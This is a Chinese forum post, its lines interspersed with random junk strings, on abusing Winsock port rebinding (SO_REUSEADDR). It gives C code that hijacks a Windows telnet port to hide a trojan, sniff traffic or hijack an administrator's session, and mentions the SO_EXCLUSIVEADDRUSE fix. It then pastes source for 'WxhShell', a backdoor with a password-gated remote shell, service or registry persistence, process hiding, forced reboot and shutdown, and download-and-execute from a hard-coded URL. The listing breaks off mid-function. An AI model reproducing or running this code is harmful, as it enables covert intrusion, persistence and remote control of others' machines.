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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4ifWNL^)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -IR9^)  
#![i {7  
  saddr.sin_family = AF_INET; Cm;WQuv@  
JF>mybB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~>@Dn40  
Pl=X<Bp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A$RN7#  
{PHxm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~BVg#_P  
/q %TjQ}F  
  这意味着什么?意味着可以进行如下的攻击: _Y*: l7  
?K7m:Dx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U~ SK 'R  
3\FiQ/?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #Dx$KPD  
#(@dN+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :L9\`&}FS  
mp~\ioI*d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J4te!,  
Nuk\8C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MB\vgKY  
=o=)EU{~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \O?#gW\tR  
p&bQ_XOH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?x]T &S{  
9VIsLk54^  
  #include ~s{$&N  
  #include $cH'9W}3K  
  #include tiwhG%?2  
  #include    #hzs,tvvD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `c{i +  
  int main() Ssaf RK$  
  { qwA: o-q"  
  WORD wVersionRequested; z@VY s  
  DWORD ret; lXm]1 *<  
  WSADATA wsaData; #(CI/7 -  
  BOOL val; z]\0]i  
  SOCKADDR_IN saddr; sl%B-;@I  
  SOCKADDR_IN scaddr; %Q}#x  
  int err; l4u`R(!n5  
  SOCKET s; Kd;|Z  
  SOCKET sc; u9m"{KnV  
  int caddsize; Czb@:l%sc  
  HANDLE mt; vC\]7]mC  
  DWORD tid;   Old5E&  
  wVersionRequested = MAKEWORD( 2, 2 ); ? _[gs/i}  
  err = WSAStartup( wVersionRequested, &wsaData ); [ OMcSd|nf  
  if ( err != 0 ) { ;wDcYs  
  printf("error!WSAStartup failed!\n"); BWL~)Hx  
  return -1; H@__%KBw  
  } $9*Xfb/  
  saddr.sin_family = AF_INET; KWy4}7a@,s  
   1NN99^ q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x1+8f2[  
N+!{Bt*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >F,~QHcz  
  saddr.sin_port = htons(23); ,/:#=TuYm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z7{b>oub('  
  { &{y- }[~  
  printf("error!socket failed!\n"); qN+ngk,:  
  return -1; GIo&zPx  
  } h{J2CWJ  
  val = TRUE;  z{``v|K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u Dm=W36  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t1g)Y|@d  
  { gGe `w  
  printf("error!setsockopt failed!\n"); \|DcWH1  
  return -1; aQ]C`9k  
  }  5ah]E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "-A@>*g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q>JJI:uC4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *Yl9%x]3c  
/S\P=lcb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LurBqr  
  { JL`n12$m  
  ret=GetLastError(); ~naL1o_FZ  
  printf("error!bind failed!\n"); @\z2FJ79w  
  return -1; 5sFp+_``  
  } m}Kn!21  
  listen(s,2); MPT*[&\-  
  while(1) 5R/k -h^`  
  { C:l /%   
  caddsize = sizeof(scaddr); HeNg<5v%Y  
  //接受连接请求 B Lw ssr.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,>`wz^z  
  if(sc!=INVALID_SOCKET) { >bw:^F  
  { ~H7m7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (Pbdwzao  
  if(mt==NULL) oh:g  
  { yWsN G;>  
  printf("Thread Creat Failed!\n"); ygWo9?  
  break; +/-#yfn!TR  
  } +i4S^B/8i  
  } kDS4 t?Ig  
  CloseHandle(mt); |94"bDL3~  
  } f,k'gM{K  
  closesocket(s); loLQ@?E  
  WSACleanup(); TmoODG>@  
  return 0; SLD%8:Zn  
  }   /3L1Un*  
  DWORD WINAPI ClientThread(LPVOID lpParam) !G 90oW  
  { S c_*L<$  
  SOCKET ss = (SOCKET)lpParam; k*w]a  
  SOCKET sc; tUDOL-Tv  
  unsigned char buf[4096]; 3uZY.H+H  
  SOCKADDR_IN saddr; fOdkzD,  
  long num; UMma|9l(i  
  DWORD val; O1ofN#u  
  DWORD ret; R/Mwq#xUb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C;1A$]bk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h*Rh:yCR>  
  saddr.sin_family = AF_INET; VL?ubt<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <_dyUiT$J  
  saddr.sin_port = htons(23); 4askQV &hj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hJ (Q^Z  
  { S1E =E5  
  printf("error!socket failed!\n"); lQ<2Vw#Yl  
  return -1; J{ P<^<m_  
  } w-C ~ Ik  
  val = 100; osoreo;V^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o8-BTq8  
  { X|TEeE c[L  
  ret = GetLastError(); j&6,%s-M`a  
  return -1; %[u6<  
  } zH0%; o}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9%S{fd\#  
  { WS/^WxRY  
  ret = GetLastError(); X,C&nqVFm8  
  return -1; 5Q#;4  
  } x%pC.0%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) # =V%S 2~  
  { `KqMcAW  
  printf("error!socket connect failed!\n"); K_{f6c<  
  closesocket(sc); w17\ \[  
  closesocket(ss); F l83 Z>  
  return -1; SpPG  
  } ZM K"3c9  
  while(1) X6kB R  
  { 1P#bR`I >  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }__g\?Yf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'Y IFHn$!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hb9e6Cc  
  num = recv(ss,buf,4096,0); }`8g0DPuD9  
  if(num>0) PVP,2Yq!  
  send(sc,buf,num,0); 5cO}Jp%PA  
  else if(num==0) 9 yH95uaDF  
  break; .;yy= Rj  
  num = recv(sc,buf,4096,0); 3UU]w`At  
  if(num>0) BF@(`D&>  
  send(ss,buf,num,0); JZ  Qkr  
  else if(num==0) l>`N+ pZ$  
  break; SweaE Rl  
  } )8kcOBG^L  
  closesocket(ss); nF~</>  
  closesocket(sc); )f-ux5  
  return 0 ; X&o!xV -+  
  } mr6/d1af_  
.j:.?v  
/ZqBO*]  
========================================================== CP_ ?DyWU  
+(0Fab8g  
下边附上一个代码,,WXhSHELL k$UgTZ  
lTJ1]7)  
========================================================== GE]fBg  
}ddwL  
#include "stdafx.h" sfNXIEr^  
#qXE[%  
#include <stdio.h> gvvl3`S{  
#include <string.h> q$z#+2u  
#include <windows.h> oEbgyT gB  
#include <winsock2.h> #u~s,F$De  
#include <winsvc.h> M[$(Pu  
#include <urlmon.h> }^Be^a<ub  
,cPNZ-%  
#pragma comment (lib, "Ws2_32.lib") .CdaOWM7  
#pragma comment (lib, "urlmon.lib") +N5#EpW  
ztf VXmi'  
#define MAX_USER   100 // 最大客户端连接数 `<kHNcm  
#define BUF_SOCK   200 // sock buffer WLW'.  
#define KEY_BUFF   255 // 输入 buffer x- kCNy  
0h-holUf}~  
#define REBOOT     0   // 重启 {[G2{ijRz  
#define SHUTDOWN   1   // 关机 sY+U$BYB>  
YW "}hU  
#define DEF_PORT   5000 // 监听端口 )QE7$|s  
yaD<jc(O  
#define REG_LEN     16   // 注册表键长度 wH=  
#define SVC_LEN     80   // NT服务名长度 zIt-mU  
V2sWcV?  
// 从dll定义API ZOc1 vj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `l@[8H%aw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1MHP#X;|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yh_H $uW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p 2x OjS1  
(RG\U[  
// wxhshell配置信息 W/ZmG]sZE  
struct WSCFG { @?iLz7SPk  
  int ws_port;         // 监听端口 /:v+:-lU  
  char ws_passstr[REG_LEN]; // 口令 \kcJF'JFA0  
  int ws_autoins;       // 安装标记, 1=yes 0=no H+vONg  
  char ws_regname[REG_LEN]; // 注册表键名 fpf1^ TZ  
  char ws_svcname[REG_LEN]; // 服务名 yjs5=\@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4O_z|K_k|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eO;i1>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 21D4O,yCe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j)ZvlRi,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5,`U3na,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v{`Z  
B+S &vV  
}; *%1:="W*|  
)V~Fl$A  
// default Wxhshell configuration 9 \i;zpN\  
struct WSCFG wscfg={DEF_PORT, 6g4CUP'Y  
    "xuhuanlingzhe", 1rh\X[@  
    1, D 7 l&L  
    "Wxhshell", +*'  
    "Wxhshell", }MP2)6  
            "WxhShell Service", 4NN-'Z>a  
    "Wrsky Windows CmdShell Service", 9+@"DuYc6  
    "Please Input Your Password: ", u{0+w\xH\  
  1, b\NWDH7}  
  "http://www.wrsky.com/wxhshell.exe", *bRer[7y  
  "Wxhshell.exe" -v?,{?$0  
    }; ,Hh7' `  
^4(CO[|c~  
// 消息定义模块 @+~=h{jv<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VaC#9Tp2X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #3u3WTk+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zOYkkQE3mJ  
char *msg_ws_ext="\n\rExit."; 2+" =i/8  
char *msg_ws_end="\n\rQuit."; :,rD5a OQ  
char *msg_ws_boot="\n\rReboot..."; W=M&U  
char *msg_ws_poff="\n\rShutdown..."; k$:QpTg[  
char *msg_ws_down="\n\rSave to "; :|`' \%zW-  
Ug^C}".&  
char *msg_ws_err="\n\rErr!"; idnn%iO  
char *msg_ws_ok="\n\rOK!"; Y<TlvB)w  
SFoF]U09  
char ExeFile[MAX_PATH]; ac>}$Uw)  
int nUser = 0; s([9 /ED  
HANDLE handles[MAX_USER]; mXlXB#N  
int OsIsNt; W093rNF~  
L]B]~Tw  
SERVICE_STATUS       serviceStatus; ]_I<-}?;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y$s}-O]/-  
8B;`9?CI  
// 函数声明 S#0y\  
int Install(void); F3jrJ+nJ  
int Uninstall(void); K4SR`Q  
int DownloadFile(char *sURL, SOCKET wsh);  s=#IoNh  
int Boot(int flag); a<tUpI$  
void HideProc(void); -`wGF#}y(=  
int GetOsVer(void); ]n?a h  
int Wxhshell(SOCKET wsl); &=|W95  
void TalkWithClient(void *cs); RL~|Kr<7J  
int CmdShell(SOCKET sock); %8`zaa  
int StartFromService(void); j^KM   
int StartWxhshell(LPSTR lpCmdLine); JiZ9ly( G  
@A!Ef=R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  Cih}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %_M B-  
e;x`C  
// 数据结构和表定义 <9-tA\`8N  
SERVICE_TABLE_ENTRY DispatchTable[] = Gcg`Knr  
{ _jH1Mcq  
{wscfg.ws_svcname, NTServiceMain}, 0LoA-c<Ay  
{NULL, NULL} RTA9CR)JP4  
}; Bx E1Ky8@A  
}llzO  
// 自我安装 HG@!J>YaD  
int Install(void) ;knSn$  
{ +>z/54R  
  char svExeFile[MAX_PATH]; i3: sV5  
  HKEY key; 6#N1 -@  
  strcpy(svExeFile,ExeFile); 0VoC|,$U  
A42At]  
// 如果是win9x系统,修改注册表设为自启动 %'\D _W&  
if(!OsIsNt) { aEXV^5;,pJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jR@-h"2*A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g%j z,|  
  RegCloseKey(key); 4TG|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )~d2`1zGS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "$0f.FO:i  
  RegCloseKey(key); $0LlaN@e  
  return 0; 6e  |  
    } 1{o CMq/v  
  } 'ZT!a]4  
} P%Q}R[Q  
else { q,u >`]}  
Km+29  
// 如果是NT以上系统,安装为系统服务 NWCnt,FlY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "T}J|28Z  
if (schSCManager!=0) rUlpo|B  
{ 2#/ KS^  
  SC_HANDLE schService = CreateService z@~1e]%  
  ( }'H Da M  
  schSCManager, Crpk q/M  
  wscfg.ws_svcname, GmAE!+"  
  wscfg.ws_svcdisp, s ]QzNc  
  SERVICE_ALL_ACCESS, F,:F9r?l,H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G>:l(PW:  
  SERVICE_AUTO_START, SI;G|uO;/  
  SERVICE_ERROR_NORMAL, gmLw.|-  
  svExeFile, ,nHz~Xi1t  
  NULL, J8b]*2D  
  NULL, \re.KB#R  
  NULL, >wMsZ+@m  
  NULL, saRB~[6I  
  NULL L~mL9[(,  
  ); //LXbP3/  
  if (schService!=0) ]KuK\(\  
  { { @-Q1  
  CloseServiceHandle(schService); k*M{?4  
  CloseServiceHandle(schSCManager); `Z@wWs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aY {.  
  strcat(svExeFile,wscfg.ws_svcname); xE6y9"}!h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |23 }~c,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *=2jteG=3.  
  RegCloseKey(key); W_DO8n X  
  return 0; fi?[ e?|c@  
    } \C<rg|  
  } TTOd0a  
  CloseServiceHandle(schSCManager); T.1z<l""  
} Hb]7>[L  
} M1ayAXO  
8F[j}.8q  
return 1; 2j"%}&  
} vuAAaKz  
3Q;^X(Ml*  
// 自我卸载 tICxAp:  
int Uninstall(void) JI*ikco-  
{ a"EQldm|d  
  HKEY key; & 9?vQq|%  
D8dTw{C  
if(!OsIsNt) { qC 6Q5F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C$(t`G  
  RegDeleteValue(key,wscfg.ws_regname); lo(Ht=d  
  RegCloseKey(key); rmhCuY?f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Maxnk3n  
  RegDeleteValue(key,wscfg.ws_regname); l y%**iN  
  RegCloseKey(key); 4u(}eE f7  
  return 0; Tbwq_3f K  
  } FSBCk  
} c:$:j,i}  
} pGcc6q1  
else { 4kz8U  
vc!S{4bN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L;`4"  
if (schSCManager!=0) 1a)_Lko  
{ 43)9iDmJ8<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ke4q$pD  
  if (schService!=0) _cJ{fYwYU  
  { K9P"ncMt  
  if(DeleteService(schService)!=0) { 3jn@ [ m  
  CloseServiceHandle(schService); \W\6m0-x  
  CloseServiceHandle(schSCManager); JZv]tJWq  
  return 0; .*f;v4!  
  } Sx~_p3_5U  
  CloseServiceHandle(schService); =L=#PJAPj  
  } b:3hKW  
  CloseServiceHandle(schSCManager); 9D| FqU |  
} 6X jUb  
} ?ykZY0{B  
FlgB-qR]<n  
return 1; c,-x}i0c  
} $XI<s$P%(%  
(G"qIw   
// 从指定url下载文件 "''<:K|  
int DownloadFile(char *sURL, SOCKET wsh) 2l SM`cw  
{ TZP{=v<  
  HRESULT hr; Ly<;x^D  
char seps[]= "/"; N 4v)0  
char *token; C&st7. (k  
char *file; w2,T.3DT  
char myURL[MAX_PATH]; xWwPrd  
char myFILE[MAX_PATH]; q7]WR(e  
/j)VES  
strcpy(myURL,sURL); a "DV`jn  
  token=strtok(myURL,seps); UbibGa= )  
  while(token!=NULL) Y1'.m5E  
  { w@ 5/mf?  
    file=token; "[?/I3 {E  
  token=strtok(NULL,seps); h.9Lh ;j  
  } F^NR qE  
p)^:~ ll  
GetCurrentDirectory(MAX_PATH,myFILE); nMa^Eq#  
strcat(myFILE, "\\"); OT& E)eR  
strcat(myFILE, file); }H#t( 9,U  
  send(wsh,myFILE,strlen(myFILE),0); L@_">' pR  
send(wsh,"...",3,0); }J?fJ (  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4QN;o%,  
  if(hr==S_OK) GA_`C"mx  
return 0; lp}WBd+  
else eE{L>u  
return 1; N Sh.g #  
; BZM~ '  
} DqMK[N,0  
M96( Rg  
// 系统电源模块 %7evPiNB  
int Boot(int flag) D;I`k L  
{ @."o:K  
  HANDLE hToken; M&ij[%i  
  TOKEN_PRIVILEGES tkp; v|I5Gz$qpa  
U+"=  
  if(OsIsNt) { T{<@MK%],d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <s >/< kW:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ww($0A`ek  
    tkp.PrivilegeCount = 1; LZ)m](+M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S@g/Tn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Mu8ZVI{  
if(flag==REBOOT) { V0Z7o\-J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b'1d<sD  
  return 0; +w.Kv ;  
} EO&ACG  
else { b_jZL'en  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U('<iw,Yy  
  return 0; #a |ch6B  
} p,iCM?[|  
  } 2rCY&8  
  else { *sB-scD  
if(flag==REBOOT) { +%Y c4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [u9JL3  
  return 0; [-t> G!)  
} [b.'3a++  
else { a*':W%7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) As+;qNO  
  return 0; e?| URW  
} {?/8jCVd  
} +F o$o  
ZJ9Jf2 c  
return 1; T1Q sW<*j  
} -#wVtXaSc  
=kb6xmB^t  
// win9x进程隐藏模块 PDt<lJU+X  
void HideProc(void) eky(;%Sz  
{ ,xYsH+ybA  
'xbERu(Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 43>9)t  
  if ( hKernel != NULL ) +lW}ixt  
  { [2'm`tZL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qo6LC>Qg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /> 3  
    FreeLibrary(hKernel); o8'Mks  
  } qB F!b0lr  
aZj J]~bO  
return; "%E-X:Il#  
} #*$_S@  
S,9NUt  
// 获取操作系统版本 A~SL5h  
int GetOsVer(void) !ww:O|0  
{ @VC .>  
  OSVERSIONINFO winfo; +9zJlL^A%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DB`$Ru@  
  GetVersionEx(&winfo); {}_Nep/;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TCHqe19?  
  return 1; dP$8JI{  
  else /5Zp-Pq  
  return 0; Vvm=MBgN  
} : 8^M5}  
!%c{+]g  
// 客户端句柄模块 M3Khc#5S(  
int Wxhshell(SOCKET wsl) R9Sf!LR  
{ 1BQ0M{&  
  SOCKET wsh; )MWUS;O<  
  struct sockaddr_in client; 'tb(J3ZP  
  DWORD myID; -)1-~7 r  
`^7:7Wr]=  
  while(nUser<MAX_USER) fJN*s  
{ 8 !4~T,9G  
  int nSize=sizeof(client); 4\LZD{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .dx 4,|6  
  if(wsh==INVALID_SOCKET) return 1;  hv+|s(  
j G-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \  Md 3  
if(handles[nUser]==0) D \N \BD  
  closesocket(wsh); 5D,.^a1 A  
else X'fuF2owd  
  nUser++; i2){xg~c  
  } oZTgN .q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'X =p7 d|'  
'X7%35Y  
  return 0; D.'h?^kA  
} qysTjGwa]  
9-0<*)"b>  
// 关闭 socket .VT;H1#  
void CloseIt(SOCKET wsh) 8b|OXWl  
{ eR:b=%T8  
closesocket(wsh); Ve{n<{P  
nUser--; hd+]Ok7"  
ExitThread(0); Hd9XfU  
} % Y~>Jl  
Xka<I3UD5  
// 客户端请求句柄 w OI^Q~  
void TalkWithClient(void *cs) 4&QUh+F  
{ xc9YM0B&  
&FSmqE;@^  
  SOCKET wsh=(SOCKET)cs; 9Ycn0  
  char pwd[SVC_LEN]; k<a;[_S  
  char cmd[KEY_BUFF]; C{ EAmv'  
char chr[1]; RK[D_SmS  
int i,j; nq"evD5  
E<>*(x/\e  
  while (nUser < MAX_USER) { _AFQ>j  
iPq &Y*  
if(wscfg.ws_passstr) { : [q0S@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^W~p..DF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1B|8ZmFJj  
  //ZeroMemory(pwd,KEY_BUFF); aSC9&Nf;  
      i=0; `K*b?:0lp  
  while(i<SVC_LEN) { IOL L1ar  
%SrM|&[  
  // 设置超时 mpgO s  
  fd_set FdRead; _]b3,% 2  
  struct timeval TimeOut; Y34/+Fi  
  FD_ZERO(&FdRead); }Ov ^GYnn  
  FD_SET(wsh,&FdRead); !*aPEf270  
  TimeOut.tv_sec=8; O~!T3APGU  
  TimeOut.tv_usec=0; Wy4$*$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K=dR%c(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]5}=^  
%@Oma  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "9IYB)Js  
  pwd=chr[0]; '$G"[ljr  
  if(chr[0]==0xd || chr[0]==0xa) { 7Vu?  
  pwd=0; }lP;U$  
  break; J NVr  
  } +-<}+8G;  
  i++; Ml?~ |_  
    } YAVy9$N-  
%c|UmKKi  
  // 如果是非法用户,关闭 socket  x}TS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 26I  
} sa1h%<   
b| M3 `  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0v)bA}k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p5\]5bb  
m/B6[  
while(1) { GOT1@.Y  
2 PqS%`XiS  
  ZeroMemory(cmd,KEY_BUFF); fX~'Zk\u  
ke_ [  
      // 自动支持客户端 telnet标准   oVvc?P  
  j=0; omSM:f_~  
  while(j<KEY_BUFF) { 5|QzU|gPn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NTo!'p:s  
  cmd[j]=chr[0]; Wy .IcWK  
  if(chr[0]==0xa || chr[0]==0xd) { .zg8i_  
  cmd[j]=0; gF?[rqz{  
  break; t5B7I59  
  } =(v^5  
  j++; 6%,C_7j  
    } L< ^j"!0  
r]@0eb   
  // 下载文件 oA] KE"T  
  if(strstr(cmd,"http://")) { )s_n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]z/Zq  
  if(DownloadFile(cmd,wsh)) #LlUxHv #  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K5Q43 e1  
  else b[9&l|y^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U>Ld~cw  
  } d^03"t0O]  
  else { Vj<:GRNQ,d  
E 99hlY~1:  
    switch(cmd[0]) { MP Z3D9  
  S$)*&46g  
  // 帮助 C%d_@*82  
  case '?': { z]B]QB Y[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hnknly  
    break; 32DbNEk  
  } I V%zO+  
  // 安装 U,#yqER'r  
  case 'i': { +#U|skl  
    if(Install()) De7T s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n0Y+b[ +wj  
    else dQoYCS}IaV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )?+$x[f!*  
    break; v+p {|X-  
    } ^b:( jI*l  
  // 卸载 ;g{qYj_  
  case 'r': { T134ZXqqz  
    if(Uninstall()) L,y6^J!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x{D yTtX<  
    else Lg8nj< TF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bvfk  
    break;  _zlqtO  
    } HeBcT^a  
  // 显示 wxhshell 所在路径 A-:O`RK  
  case 'p': { (c0A.L)  
    char svExeFile[MAX_PATH]; z/i+EE  
    strcpy(svExeFile,"\n\r"); 2,ECYie^  
      strcat(svExeFile,ExeFile); zdXkR]  
        send(wsh,svExeFile,strlen(svExeFile),0); %%(R@kh9  
    break; Y5fLmPza  
    } U qG .:@T  
  // 重启 8r3A~  
  case 'b': { + QQS={  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  >S$Z  
    if(Boot(REBOOT)) [+O"<Ua  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y*mbjyt[?X  
    else { (sVi\R  
    closesocket(wsh); /}-CvSR  
    ExitThread(0);  XL7h}  
    } >0Q|nCx  
    break; cuOvN"nuNj  
    } !w&kyW?e  
  // 关机 oK 6(HF'&  
  case 'd': { n3J53| %v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^eW}XRI  
    if(Boot(SHUTDOWN)) 'X shmZ0&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5`f@>r?  
    else { _X@v/sAy  
